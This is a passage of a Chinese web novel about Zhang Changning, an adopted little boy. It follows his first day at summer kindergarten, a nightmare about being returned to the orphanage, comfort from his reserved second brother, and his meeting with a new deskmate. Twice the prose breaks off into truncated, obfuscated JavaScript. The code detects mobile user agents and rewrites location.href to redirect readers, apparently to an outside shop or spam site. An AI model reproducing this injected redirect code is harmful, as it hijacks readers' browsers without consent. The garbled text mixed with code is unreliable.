章长风示意章长宁喝口水、先歇一歇,趁机又和父母说,“爸,我听说确言那个班是附幼里最顶尖的,长宁之前没有基础,去了不一定跟得上。” 别看商确言才五岁,那基本的加减乘除、日常英语都是说来就来,甚至连很多兴趣爱好都已经能够上手参赛了。 “……” “……” 章渡和沈眠一听这情况,沉默发愁。 按理说,他们是不愿意太“卷”章长宁的,孩子能够平安长大、开心幸福就好。 但身在帝京、又是他们这样的家庭环境,对孩子的培养确实不能差到哪里去。 最后还是章老爷子代替拿了主意,“这样吧,你们先给孩子找个暑期班,让他稍微融入融入、看看他自己的积极性和兴趣。” “等暑假结束后,如果小宁实在跟不上,那就踏踏实实从头来。” “横竖就是落了两年时间,以后能追回来。” 章老夫人跟着同意,“是啊,小宁平安就好,这年纪该玩就玩,别一上来就给他压力。” 这会儿大人们忧愁的事情,章长宁没注意听,也不太能听得懂。 他咕噜噜地用吸管喝了小半瓶的水,这才跑出章长风的怀抱,顶着一头小卷毛就跑到了章长叙的身边。 “二哥,你在看什么呀~我也要看~” 奶声奶气的嗓音,轻易听出点黏人。 说着,他的小短腿还一蹦一蹦的,企图往沙发上爬,可惜心有余而力不足。 章长叙也没想着给他让位,“章长宁,别闹我。” 语气不算严肃,只是他不笑的时候,眉眼间总是带着天生的冷然。 “……” 章长宁当即就不敢蹦跶了,只能努力垫着脚、仰长脖子去看章长叙的平板,好奇地连卷毛都跟着一颤一颤的。 章长叙用余光注意到了他的小动作,无奈,“别摔了,历史科普,你又看不懂。” 章长宁确实看不懂,干脆将双手扒拉在单人沙发的侧边靠背上,眼巴巴地盯着他瞧,“那我看哥哥~” “……” 又甜又软的一句话,将客厅里的人都逗出了笑声,就连章长叙差点都没绷住,嘴角微不可查地翘了翘。 下一秒,章长风就走了上来。 跟拎小猫似地将章长宁重新揽入自己的怀抱,“爸妈,爷爷奶奶 ,你们看看小弟这小没良心的,我陪他玩了这么久,他还是跟黏长叙。” 章长宁没懂章长风是不是在开玩笑,连忙搂住他的脖子撒娇,“大哥好~” 章长风捏了捏他的鼻尖,笑出了声。 … 很快地,章渡就找好了合适的暑假班并且落实了下去,转眼就到了周一上午,也是章长宁上暑假班的第一天。 章长宁和往常一样坐在餐桌上喝牛奶,小眼神挨个瞟着桌上的每一个人。 佣人拿着已经清洗晒干的新书包走了进来,“夫人,小少爷的新书包已经准备好了。” 章长宁看见鼓鼓的、小猫样式的书包,有些惊讶。 沈眠从佣人手中接过小书包,“来,小宁,背上试试,喜欢吗?” 章长宁点了点头,喜欢之余还有些奇怪。 沈眠揉了揉他的小脑袋,叮嘱,“待会儿让爸爸开车送你过去,到了班上要听老师的话,那里还有很多小朋友陪你一块玩,还有……” 叮嘱的话还没有说完,章长宁却连牛奶都搁下不喝了。 他突然憋了憋嘴巴,眼泪瞬间就在眼眶里打转。 沈眠顿时被他吓了一跳,就连吃饭中的章渡父子三人也愣住了。 “小宁,别哭,告诉妈妈,怎么了?” 章长宁摇了摇头,眼泪实在是盛不住了才往下掉。 章渡和章长风赶紧围上前,章长叙还坐在位置上,但此刻同样没了吃早饭的心情。 好端端的,怎么突然就委屈上了。 “宝宝,怎么了?和妈妈说说?” “不哭。” “小弟,是不是哪里不舒服?” 温柔的话越哄,听着就越委屈。 章长宁放声大哭,吓得整张脸都红了又白,“不要把我送走,我乖,呜呜我听、听话,我不、不要去。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631965|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 围着他转的三人怔住了,反倒是章长叙最先反应过来,他暗中紧绷的心弦顿松,着实是有些好气又好笑。 “章长宁,你小脑袋瓜里想什么了?爸妈是带你去幼儿园上暑假班,不是把你送回福利院,别哭了。” 章长宁沉浸在自己的恐惧情绪中,还是哭个不停。 章渡和沈眠对视一眼,这下子才跟着反应过来,异口同声—— “我以为你和孩子说清楚了?” “我也以为他清楚了。” 夫妻两人同时停下话茬,懊悔自己的失责,又心疼章长宁。 沈眠忙着将章长宁搂进怀里安慰,“小宁,爸爸妈妈不是不要你,是带你去幼儿园玩。” “那里有很多小朋友和你一样大,还有好多老师会给你讲故事、会教你很多新知识。” 章长宁眼泪和不要钱似地往下掉,还有些没反应过来,“去、去玩?” “对,我们不回瓦县,就是去幼儿园认识新朋友,等下午就接你回来。” 章渡抽着纸巾擦了擦他的眼泪,看向正对面的大儿子,“不信你问你大哥。” 章长宁侧身看向章长风,憋了憋嘴,“大哥,幼、幼儿园好、好玩吗?” 虽然还在小声啜泣,但已经关心起这要紧事了。 章长风虚惊一场,也被他可爱到想笑,“好玩啊!当然好玩!大哥以前可喜欢去了!现在年纪大了,就去不了了了。” “小宁,现在我们全家只有你还能去,你说你厉不厉害?” “……” 傻子才信这种捧场。 章长叙听见这种哄小朋友的夸张论调,嫌弃地蹙了蹙眉头。 偏偏章长宁很信,“我、厉害,嗝——” “好了,厉害的小朋友就不哭了。” 章长风看了看父母,主动将章长宁抱了起来,“这样好不好,大哥和爸爸陪你一起去?妈妈身体不好,让她在家里休息。” 章长宁点头,但因为刚刚一时哭岔了气,还在时不时地打着小哭嗝。 “嗯!” 沈眠靠近捏了捏他的小脸蛋,“你呀,吓坏妈妈了,时间差不多了,那就让哥哥和爸爸陪你一块去。” 章长宁乖乖点头。 下一秒,他的余光瞥见了桌子上的什么,又嗯嗯唧唧地纠结起来,垂落的双手虚无地抓了抓,“我……嗝……我要……” 章长风一头雾水,“嗯?” 章长叙看着对章长宁的情绪无所谓,其实注意力全在他的身上,这不,又一秒猜到了这小糯米团子的想法。 “……” 这小哭包。 他将章长宁没喝完的牛奶瓶递了上去,“要吗?” 章长宁霎时开心,连忙接过美滋滋地啜着吸管,咕噜噜地喝着自己最喜欢的甜牛奶,一边喝一边还在打嗝。 章长叙平静要求,“你待会儿到了幼儿园可别哭,丑。” “……” 章长宁听见“丑”字,小小年纪倒是有些在意,默默把脸扭向了章长风。 章长风乐了,“让我看看,我们小幺哪里丑了?漂亮着呢~” 章长宁这才甜笑开来,“大哥好!” 沈眠玩笑追问他,“那你二哥呢?好不好?” 章长宁将小眼神挪向章长叙,抓紧奶瓶哼唧唧,“二哥不……嗝!” “不好”两字还没出口,他就对上了章长叙的视线,当即认怂,卖乖改口。 “二哥也、也好,嘿嘿。” 4. 【第004章】 来暑假班的小朋友不多,总共就□□位小朋友。 章长宁抱着自己的小书包,乖乖坐在自己的位置上,他抬头望着窗外的蓝天,闷闷地憋着嘴巴,有点想哭。 他已经习惯了午睡是在卧室里醒来,身边有妈妈的陪伴,而且暑假里两位哥哥不上学,偶尔大哥还会把他抱着怀里继续哄睡。 可现在,家里人都不在他的身边,他很害怕,如果等到放学,没有人来接他该怎么办? 暑假班的老师走上前来,温柔地蹲在了他的跟前,“长宁,怎么不和其他小朋友一块玩?” 这才是暑假班的第一天,主要是给孩子们适应环境的,并不会急着教学。 章长宁将书包抱得更紧了些,欲哭不哭的大眼睛水汪汪的,“老师好,我们什么时候放学?” “……” 老师愣了愣,实在是被他的小模样可爱到了,“不急,待会儿我们还要吃小蛋糕呢,吃完小蛋糕,老师再带你们去做做运动,然后就放学回家了,好不好?” “小蛋糕?” 章长宁瞬间亮了眼睛。 福利院里的“小蛋糕”就甜滋滋的,特别好吃!到了新家以后,他还没有吃过呢! 老师察觉出他的感兴趣,笑了笑,“嗯,老师带你去和其他小朋友认识一下,待会儿就吃小蛋糕?” “好。” 章长宁总算舍得把视为“安全感”的小书包放在一旁,乖乖起身。 玩了半个多小时,才有人将一排新鲜制作完成的小蛋糕推了进来,教室里顷刻响起小朋友们的欢呼声。 “……” 小蛋糕是小兔子造型,白滚滚的,就连“眼睛”也用了红色巧克力豆点缀,全部装在了四四方方的小盒子里,特别精致漂亮。 章长宁瞪大了眼睛,不可置信地看直了眼,“啊!” 怎么和他之前得到过的小蛋糕不一样?这个好漂亮! 章长宁从老师的手中接过透明盒子装的小蛋糕,小心翼翼地捧在手里,“老师,这都是我的了吗?” 这么好看的小蛋糕,不用分着吃吗? “是啊,都是你的了。”老师特别喜欢章长宁的可爱劲,捏了捏他的小脸蛋,“你想怎么吃就怎么吃。” “谢谢老师!” 章长宁道了声谢,又嘴甜补充,“你真漂亮!” 老师被他逗笑了,“谢谢小宁,你也很漂亮!” 章长宁没敢耽误其他小朋友拿蛋糕,转身回到了自己的位置上,他趁着老师不注意,将免费得到的小蛋糕塞进了书包里,还把拉链紧紧拉好了。 等回去后,他要把小蛋糕送给二哥! 哦,还有大哥也要分着吃! … 有了“带小蛋糕回家”的期待加持,章长宁都快望眼欲穿了才等到放学。 他看见校门口的章渡,立刻兴奋地扑到对方的怀中,“爸爸!” “乖!” 章渡抱着他,和老师打了声招呼,父子两人才往自家保姆车走。 章长宁乖乖搂着他的脖子,“爸爸,哥哥们呢?” “他们在上网球课,差不多也该到家了。” 章渡让他坐在儿童的安全座椅上,企图将小书包放在一旁,结果被章长宁牢牢拿住,“我自己拿。” 章长宁不懂“网球”是什么,只是听到哥哥们在家后越发神采奕奕。 章渡示意司机开车,坐在后排和小儿子闲聊,“怎么还抱着书包呢?给爸爸?” “嗯~~” 章长宁拖长音拒绝,摇头晃脑的。 章渡见状,明白过来,“得了什么宝贝呢?还不让我看?” 章长宁打定主意要给哥哥们一个惊喜,愣是嘴巴严实不说话。 章渡见此,笑了笑没再继续追问。 … 半小时后。 章长宁一被抱下车,就看见了正在门口等候的章长风。 他提着小书包、迈着小短腿,一路飞扑过去,“大哥!” “哎哟,小弟你慢点,别摔了。” 章长风将他稳稳当当接到怀里,关心道,“上学好不好玩?” 章长宁无心回答,目光忍不住往家里面看,“二哥呢?” “怎么一回家就想着找你二哥?不要大哥啦?” 章长风一边逗着他,一边牵手将他往客厅领,“妈,小弟回来了!” “章长叙,快点从楼上下来!小不点找你呢!” 章长宁对上沈眠,乖乖喊了一声妈妈,目光却止不住地往二楼瞟。 章渡跟着进门,直说了,“这小家伙书包里不知道装了什么,神神秘秘了一路了,说是要给两位哥哥。” “是吗?” 章长风好奇,又催促,“章长叙,快下来!小弟给我们带动东西了!” 话音刚落,章长叙就从楼梯拐角处走了下来,他刚洗完澡,换了一身纯白的T恤和短裤,看着干干爽爽的。 章长宁抽出被章长风牵着的手,连忙跑了上去,“二哥好!” 被“冷待”的章长风看了看自家爸妈,无奈,“爸,妈,我怎么感觉小弟偏心长叙呢?一天到晚就黏着二弟那张冷脸。” “你这孩子别瞎说。” “小弟对谁都好。” “我知道,开玩笑而已。” 另一边,下了楼梯的章长叙看着眼前的小糯米团,又看着他宝贝似地攥着小书包,“你干嘛?” 一贯的冷调,很容易让人生出距离感。 但章长宁完全不在意,“二哥!我带了很好吃的东西给你!” 章长宁蹲下身子,神秘兮兮地打开小书包,满心欢喜地将藏了一路的小蛋糕拿了出来。 结果下一秒,他的笑容就凝固在了脸上—— 原本有着兔子造型的小蛋糕东倒西歪的,彻底坍得没了原先的可爱形状,甚至连奶油都有些化开了,黏在透明的小方盒子上。 章长宁懵了,“我……” 章长叙一眼认清,理智分析,“大热天的,这蛋糕不能要了。” 免得吃坏了肚子,想要吃的话再买新的。 这是暗含“关心”的话还没说完,章长宁的眼泪说掉就掉。 章长叙脸色一变,“你哭什么?” 原本还在看戏的章渡三人顿时围了上来,沈眠心疼坏了,“我们宝贝怎么了?” 章长宁被搂在妈妈的怀里,委屈得更厉害了,原本的无声掉眼泪放肆成了大哭,“我的小蛋糕……呜呜呜……给二哥的……” 他泪眼朦胧地注意到了章长风,“还有大哥……小兔子不见了……” “好了好了,大哥知道了。” 章长风将小蛋糕递到章长叙的手里,忙着哄人,“我们再去买,行不行?” 沈眠也哄,“让爸爸开车出去,再给你买。” 章长宁闻言,小脑袋摇成了拨浪鼓,“不要……不一样……” 这是他自己得到的小蛋糕,不一样。 眼看着章长宁哭得越来越凶,还有些收不住的迹象。 边上的章长叙眉心微蹙,干脆打开这早已经塌得不成样子的小蛋糕,又从章长宁的书包里翻找出了小勺子。 他喊,“章长宁。” 章长宁没理他,眼泪滔天,都快把自己哭撅过去了。 章长叙无奈,凑近又喊,“章长宁,看我。” 章长宁慢半拍地反应过来,抽泣着看了过去,“……嗯?” 呜咽声很软。 章长叙当着他的面,舀了一勺蛋糕吃了进去,“没坏,别哭了。” 说着,他又将小蛋糕递给了章长风。 章长风愣了愣,也明白过来,立刻挖了一大勺入口,含糊着安慰,“嗯,可好吃了,没坏。” 味道确实还好,就是造型没了样子。 章长宁半信半疑地憋了憋嘴,随时还能再哭出声。 章长叙只好指了指红色的小巧克力豆,用最平静的语气哄道,“看,这兔子眼睛还在呢,能认出来,不信你问大哥。” 章长风卡壳,犹豫几秒才睁眼说瞎话,“嗯,小兔子的长耳朵在这呢!” “……” 章长宁抹了抹眼泪,盯着小蛋糕看了又看,好半晌才肯定地嘟囔,“大哥骗人,耳朵早就不见了。” 一句话,当即又让章渡和沈眠笑出声。 章长风哭笑不得,捏了捏他的脸颊肉,“你个小没良心的!这就说我骗人了?你怎么不说你二哥?” 章长宁给出理由,“这就是兔子眼睛,二哥没骗我。” 章长叙短促地笑了声,旋即又恢复了那张平静的面孔。 章长风舀了一小勺蛋糕喂给章长宁,“特意带回来给我们的?” 章长宁点头,“可好吃了,我以前都没见过!” “小宁乖。” 沈眠拿纸巾将他的泪痕擦干净,“以后想吃小蛋糕就和爸爸妈妈说,知道了吗?” 章长宁乖巧应了声,“哦。” … 章长宁很快就适应了暑假班的上学节奏,在学习方面进步得很快,每天都变着法地将学习奖励带了回来。 临近暑假班的结尾,章氏夫妇得到了新的“线索”,临时买了当晚飞去春城的机票。 章老夫妇被二女儿接去了国外度假,这会儿夫妇两人一走,家里就只剩下三个孩子,以及管家佣人。 沈眠心里有种强烈的预感,说什么都要跟着丈夫亲自跑一趟,“长风、长叙,我已经交代郑伯、郑嫂他们了,爸妈最快也要后天回来。” 她对着两位儿子交代。 “长风,你照顾好两个弟弟,特别是长宁,小弟这周才学着自己睡觉,如果他晚上害怕,你就抱他回房间一块睡。” “如果出现什么解决不了的事情,可以打电话给小舅舅,打给商伯伯他们也行。” “妈,你放心吧,我已经长大了,知道该怎么做。” 章长宁默默坐在沙发上,听着父母和兄长的对话,心里隐隐约约察觉到了什么,却没像往常那样吭声。 只是在临近章氏夫妇出门前,他才跑到两人的身边,露出了一贯最讨人喜欢的甜笑,说着拜拜。 … 是夜。 章长风干脆用佣人手中接过了洗漱完的章长宁,将小弟拉到自己的房间睡觉,“今晚和大哥一块睡?大哥给你讲故事,好不好?” 章长宁穿着猫咪睡衣,乖乖地在被窝里缩成了一团,“嗯!” 章长风从他的小卧室里取来故事绘本,随意找到一篇睡前故事去读。 章长宁一边吸吮着睡前牛奶,一边迷迷糊糊地听着,不到十分钟就坠入了梦乡,连瓶里的牛奶都没喝完。 “小不点儿,睡得倒是挺快。” 章长风替他取了牛奶瓶、盖好被子,这才轻手轻脚地下床、继续自己的功课学习。 … 恍惚间,章长宁梦见自己坐在家中的保姆车里,章渡开着车、沈眠就坐在副驾,两个哥哥坐在他的身边。 “爸爸妈妈,大哥二哥!” 可是和往常不同的是,无论他怎么乖巧呼唤,大家就是板着脸不理他。 略有颠簸的车子开呀开呀,停在了福利院熟悉的门前,他被章长风拉下车,然后就被爸爸妈妈交还到了院长阿嫲的手中。 “我们认错人了,你不是我们家的孩子!” “从今天起,你就回到这里住吧,你不是长宁,你是小九。” “……” 福利院的铁栅栏门重新关上,隔绝了章长宁追出去的步伐。 平时最疼他的章渡和沈眠上了车,大哥章长风也紧随其后,只有章长叙还留在原地,但面对他永远都是冷冰冰的神情。 “我早说了,你不是我亲弟弟,现在我亲弟弟回来了,你不能顶替他的位置。” 说完,章长叙也上了车。 章长宁在原地急得直哭,大喊着“我听话,我乖,爸爸妈妈别不要我”,可任凭他怎么撕心裂肺,那辆车子还是渐渐消失在了他的视野里。 “呜嗯……” 章长宁是被噩梦惊醒的,迷茫的眼泪早就布满了脸蛋,他有些迷茫地观察着自己的环境,才发现章长风就躺在他的身边睡觉。 “大哥。” 章长宁推了推章长风,努力压制着心里冒上来的恐惧,“大哥,醒醒,我害怕……” “……” 可惜章长风睡得太深,完全没意识到他的小声啜泣。 章长宁抹了抹眼泪,忍不住翻身爬下床,他踮起脚尖努力打开房门,光着脚就往平日里最熟悉的主卧跑。 走廊里只有地灯在冒着微弱的光,主卧门敞开着,里面黑漆漆的,没有章渡和沈眠的身影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631966|143596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 章长宁站在原地喊了两声“爸爸妈妈”,不安感包裹了他的全身。 他想要大哭声却又不敢,只是抽泣着重新往章长风的房间走,下一秒,章长叙就推门从自己的卧室走了出来。 他看见走廊上的小小一团,霎时一愣。 他今晚难得熬夜研究一套习题,原本想着入睡前再喝杯水,结果就听见走廊上窸窸窣窣的动静,才想着出门看看情况。 章长宁像是看到了什么救星,二话不说就抱住了他的大腿,“哥哥!” “……” 章长叙眉心微蹙,弯下腰,“你先松开我。” 章长宁不情不愿地松开,伸手去抓章长叙的睡衣,“二哥我害怕。” 章长叙往前走了两步,透过半开的卧室门瞧见了熟睡中的章长风,低头又看见章长宁这张委屈巴巴到了极点的小脸蛋,总算反应过来。 他问,“章长宁,你做噩梦了?” 章长宁听不太懂噩梦,只用自己的话说,“很坏很坏的梦。” 哭腔正浓,眼泪说掉就掉。 章长叙余光瞥见他的小脚丫,眼中显露一丝担忧,他干脆牵进了章长宁的手,“大晚上的,你不要乱跑,回房间睡觉。” 章长宁只觉得章长叙的掌心热乎乎的,有些意外。 这是他回家这么长时间以来,二哥第一次主动牵他的手! 章长宁迈着小短腿跟着章长叙回到卧室,这是他从未踏足过的新领域—— 比起章长风房间里摆放的各种模型,章长叙的房间里就显得简单多了,书架上的奥数竞赛奖杯倒是很多。 章长宁看得一愣一愣的,一时间都忘记了害怕。 章长叙示意,“你先在床边坐着,我去拿湿毛巾给你擦擦脚。” 章长宁连忙蹦跶着小短腿爬了上去,听话地坐在床沿,他怕章长叙嫌弃他脏,小声解释,“我洗过澡了,我很干净。” “……” 脸蛋都快哭成花猫了,还很干净呢? 章长叙怕章长宁大半夜光脚踩地板、凉气入体,想着用热毛巾再捂捂,不过他没想着解释那么多,只是迅速行动起来。 他拿了两条毛巾,一条用来擦脸,一条用来捂脚。 热气包裹冰凉脚心的那一瞬间,章长宁怕痒却舒服地哼了一声。 比小猫更像小猫。 章长叙很早就独立睡一个房间了,在家里基本没和兄长睡过同一张床,他不太喜欢让别人躺在他的床上撒泼打滚。 但面对眼前的章长宁,他只能默默说服自己。 “章长宁,你躺里面睡觉。” “啊?” 章长宁更意外了,但还是一个翻身打滚就钻到了里面的被窝里,他有些说不上来的小雀跃,软乎乎地表示,“二哥,你被子软软的、香香的。” 章长叙早就免疫了他的“漂亮话”,也躺了下来,“你老实睡觉,不然就把你赶回去。” “……” 章长宁沉默了一瞬间,脑海中又想起了那个残存的梦,他不自觉地往章长叙的身边凑了凑,怯生生地喊。 “二哥,你陪陪我,我害怕。” 章长叙偏头对上他水汪汪的眼,没忍心,“怕什么?我给你留床头灯,不关。” 章长宁的黏人劲卷土重来,他往章长叙的胳膊边贴了贴,问得小心翼翼,“哥哥,我是你亲弟弟吗?” “……” 章长叙没想到章长宁会问这话,侧身看他。 章长宁害怕梦里的事情会成为真实,心跳得厉害,“你和大哥,还有爸爸妈妈会不要我吗?” 说到最后,隐隐约约又想要哭了。 他一直记得呢,他原先就是没人要的孩子,他也一直聪明着呢,自己可能不是这个家里的孩子。 “哭哭哭,就知道哭,还让不让人睡觉了?”章长叙伸手点了点他的额头,语气里却多了一丝温柔的安慰。 “章长宁,你一天到晚小脑袋瓜里都想些什么?你现在就是我弟弟,别胡思乱想。” 哪怕不是“亲弟弟”,那也无所谓了。 章长叙早就懂了父母的意思,如果有一天真正的小弟能够找回来,章长宁依旧会是家里的一份子。 章长宁感知到了章长叙软化的态度,使劲搂住他的胳膊,“二哥!” “你干嘛?松开!” “我不,我喜欢二哥。”章长宁黏人劲只增不减,但还是再三追问,“只要我乖乖的,你们不会不要我,是不是?” “……” 不乖也得要。 章长叙想着,揪住他的衣领外后扯了扯,“章长宁,你再闹就回去睡!” 章长宁撒娇,“我才不回去,我就要和哥哥睡~” “那你就闭眼睡觉!” “好的,二哥晚安。” “……晚安。” 章长宁重新入睡得很快,没一会儿呼吸就变得延绵起来,章长叙确认了他不会再闹,这才将床头灯给关了。 次日一早,他是被章长风的开门声给惊醒的。 “长叙,我……” 章长风的慌张声卡在了喉咙中,他看着正同床而眠的两弟弟,心弦猛松,“我天,吓死我了。” 章长叙睁眼,没几秒就搞清楚了情况。 他对上自家大哥惊魂未定的眼神,主动说,“哥,他昨天晚上好想做噩梦了,可能是看你没醒,跑去爸妈的卧室被我发现了。” 说话间,趴着睡觉的章长宁也“蛄蛹”了一下。 小崽白净的脸颊睡得红扑扑的,还被枕头压出一道红痕,一头卷毛不知道怎么折腾的,乱糟糟地都快成鸟窝了。 章长叙没有赖床的习惯,醒了就起床。 章长宁感受到身边人的动弹,迷迷糊糊地睁眼。 章长风凑近,温声唤醒,“小弟睡醒了?” 章长宁脑子还转不过弯,没理会章长风,只是蹭了蹭身边人,没睡醒的嗓音又软又甜,“哥哥。” 章长叙想起昨晚并不安稳的一夜,揪了揪他的后颈嫌弃,“章长宁,今晚回去睡。” 一个晚上的,睡觉姿势那是一点儿都不老实。 “……” 章长宁还“呆”着呢,乍一听章长叙这话,本能地就耍起了起床小脾气。 他翻身往床内侧一滚,只给自家俩哥哥留下一团小背影,“哼!” 5. 【第005章】 章氏夫妇的这趟行程还是无功而返。 夫妻两人内心的失望又多积攒了一些,但始终没有放弃的打算。 九月初,又一轮新学期开始,章长宁在学校老师和家长们的共同考量下,还是直接插进了大班。 “小朋友们安静一下,老师来带大家认识一位新朋友。” 老师弯腰拍了拍章长宁的肩膀,鼓励他,“长宁,你自我介绍一下?” 章长宁乖乖站在讲台前,他看着底下坐着的二三十位小朋友,有些紧张地攥了攥书包肩带。 这可比暑假班里的小朋友多多了,而且基本上都是陌生面孔。 章长宁抿了抿嘴巴,鼓足勇气,“大家好,我、我叫章长宁。” 老师也没为难他,笑着询问,“有没有小朋友主动要和章长宁同学做同桌?” 章长宁长得漂亮,本来就容易讨人喜欢,这个年纪的小朋友们又是爱热闹的时候—— 听见老师的询问声,底下不少小孩纷纷举手。 唯有第一排中间的小男孩无动于衷,趴在桌子上聚精会神地玩着他的赛车小玩具。 这家幼儿园里的孩子们身家背景都很优秀强劲,老师早早就得了安排,于是干脆喊道,“商确言?” “啊?” 商确言抬了头,下意识地将自己的小赛车塞进了抽屉里。 章长宁和他对上视线,心里暗暗夸了一句: 真好看。 老师拍了拍章长宁的肩膀,示意,“确言,你这学期和长宁做同桌,好不好?老师希望你能帮助我们的新朋友。” 商确言向来爱一个人坐着玩。 他盯着章长宁仔细看了一会儿,才勉强看在他的漂亮脸蛋上,“哦,好吧。” 章长宁察觉出对方的那点不乐意,心里打起小鼓,但他还是被老师带领着走了过去。 “好了,你们俩彼此认识一下,从今天起就是同桌了。” 商确言往外走了两步,倒是有些小大人的模样,“你坐里面,我要坐外面。” 章长宁这段时间被家里人哄着、顺着,已经很久没听到有人用这种语气和他说话了,他憋了憋嘴,但还是配合地走进去坐好。 老师安顿好了两个小孩子,这才走回了讲台。 商确言从桌桶里重新拿出自己的小赛车,这是今年暑假去奥利地玩、观看赛车比赛时,他哥哥买给他的复刻纪念品,他可宝贝了。 商确言想到这儿,忍不住拿起小赛车炫耀,“喂,我叫商确言,确实的确,言而有信的言,你叫什么?” “……” 章长宁听他酷酷说了一堆,只记住了这个挺特别的名字。 他想起爸妈和大哥交代的要有礼貌、要多交朋友,只好重复,“我刚刚在讲台上说了,我叫章长宁。” “章长宁?” 商确言想了想,忍不住嘀咕,“怎么和二哥的名字差不多?” 章长宁没听清, “你说什么?” “没什么。” 商确言摇了摇头,又拿着小赛车在他面前晃荡,“这是我的,厉害吧。” 他长大也要当赛车手! 章长宁对这类玩具赛车没兴趣,只轻轻“哦”了一声,然后就开始捣鼓自己的布偶小书包。 “……” 商确言不满意他的反应,主动凑上前去,“喂,章长宁,这个小赛车很好玩的!我哥哥送我的!” 说着说着,他就歪了题,“你知道我哥哥有多厉害吗?” 章长宁偏头看去,难得被激起一丝兴趣,“我、我也有哥哥!我还有两个!” “两个有什么了不起的?” 商确言好胜心升起,坚定道,“我哥哥可帅了,可高了!” 章长宁回他,“我哥哥也高!也、也帅!” 商确言握紧小拳头,扯着嗓子,“我哥哥是全宇宙最好的!” 章长宁难得不甘示弱,“我哥哥才是!” “……” 商确言不可置信地深吸了一口气,没想到还有小朋友和他争这事。他想了想,才拿出自己的杀手锏,“你哥哥放学来接你吗?” 这下子,沉默的人轮到了章长宁。 章长风这学期要住校,一周才回家一次,接不了,至于章长叙,那就更不可能来接他了。 商确言看出了章长宁的认输,骄傲仰头,“我哥哥会和司机一起来接我,等放学你跟我来,你就知道我哥哥有多帅!” 章长宁有点难过,假装低头玩弄书包,哼哼唧唧,“我才不想知道呢。” 在他眼里,自家的两位哥哥才是最好的! 特别是他二哥章长叙,那才是全天底下最好看的哥哥! 商确言敏锐察觉出了章长宁语气里的小小失落,蹙了蹙眉头,“你怎么了?” 章长宁不理他。 商确言挠了挠头,一时间连赛车都不玩了,他在自己的小书包里翻找了一下,然后就将一颗巧克力递到了章长宁的面前。 “对不起,我是不是说错话了?” “章长宁,你别难过了,我把我巧克力给你。” 章长宁看着递到自己眼前的巧克力,有些发愣。 商确言酷酷地将巧克力往他手里一塞,“你可别和老师说我欺负你,从今天起,你就是我的同桌了!” 章长宁眨巴了一下眼睛,没料到商确言前一分钟还在和他比较,后一秒就开始拿着东西来安慰他了。 商确言一点儿都不怕生地凑到他的跟前,心直口快,“章长宁,其实你长得很漂亮,像个小女孩。” 章长宁耳根子一红,“你别、乱讲,我是男孩子!” 商确言有自己的一套逻辑,“我知道啊,我在夸你,你应该对我说谢谢。” “……” 章长宁捏紧掌心里的巧克力,无语地睁大了眼。 … 幼儿园有专门的校车接送,但商确言和章长宁都由自家人安排了接送,所以放学比统一接送的小朋友们要迟半小时。 商确言已经很习惯这样的放学时间了,不亦乐乎地把玩着小赛车,反倒是章长宁从四点半起就眼巴巴地盯着教室外。 直到负责接送的老师进门,“好了,到时间了,剩下来的小朋友都跟老师来吧。” 章长宁立马起身,小跑到老师的身边。 商确言随手提起自己的小书包,“章长宁,你等等我!我带你去见我哥哥!” 章长宁没兴趣,“不要。” 虽然大哥这学期住校了,但二哥还会放学回家呢!他也要快点回去找自己的哥哥! 商确言扯住他背后的小书包,不依不饶,“我哥哥真的很帅!你待会儿就能看见啦!” 章长宁哼唧唧地往回扯,“那也是你哥哥,我自己有哥哥!” 两个小朋友随即并肩走在一块,来来回回地讨论着关于“自家哥哥”的话题。 终于,老师带领着剩下的六位小朋友抵达了校门口。 商确言的目光精准一扫,原本还缠着章长宁的他突然拔腿飞奔,兴冲冲地喊道,“哥哥!我在这里!” 商确言长手长脚的,跑起来像是一阵风。 章长宁被这位新同桌的跑步速度惊呆了,眨眼间就看着对方飞扑到一个高个子男生的怀里,但很快地,他就更吃惊地发现—— 站在高个子男生身边的另外一个人,居然是他的二哥章长叙。 “……” 章长宁揉了揉眼睛,确认自己没看错后才迈着小短腿飞速上前。 商确言还以为他是冲着自己来的,连忙拽着自家哥哥的手上前,骄傲又大声地宣布,“章长宁!你看!这是我哥哥!亲哥哥!帅吧!” “……” 商延枭垂眸看着自家弟弟的得意劲,无奈,“你消停点。” 章长宁没理他,视线直勾勾地盯着兄弟两人斜后方的章长叙。 商延枭一边牵着自家小猴子似上蹿下跳的弟弟,一边看向斜后方的好友,“长叙,他就是你小弟?” 章商两家的关系很好,父母长辈间一直有来往。 章家找回小儿子这事,早早就传到了商家人的耳中,只是暑假期间,商夫人带着两兄弟在海外度假,所以双方还没见过面。 章长叙点头。 商确言人小鬼大,总算反应过来,“啊?” 怪不得他觉得章长宁的名字和长叙哥的名字那么像呢!原来他们俩也是亲兄弟! 章长宁仰着小脑袋靠近,惊喜溢满了水灵灵的大眼睛,“二哥,你是来接我的吗?” 章长叙闷了一下嗓子,“不是,我坐顺风车。” 这个学期,章长风为了学业选择了住校,于是章、商双方的家长商量了一下—— 共同出钱请了专业的司机和保镖,还有专门的管家负责接剩下的四个孩子上下学,在路程上也算顺路。 不过这个决定,年纪小小的章长宁是不知道的。 章长宁眼中的惊喜减轻了些,但还是往前靠了一步,“哥哥,那我们一起回家吗?” “……” 商延枭听见好友难得的假话掩饰,眉梢挑了挑。 明明就是特意一块来接各自的弟弟,怎么出口的话就成了顺路了?说得好像只是巧合一样。 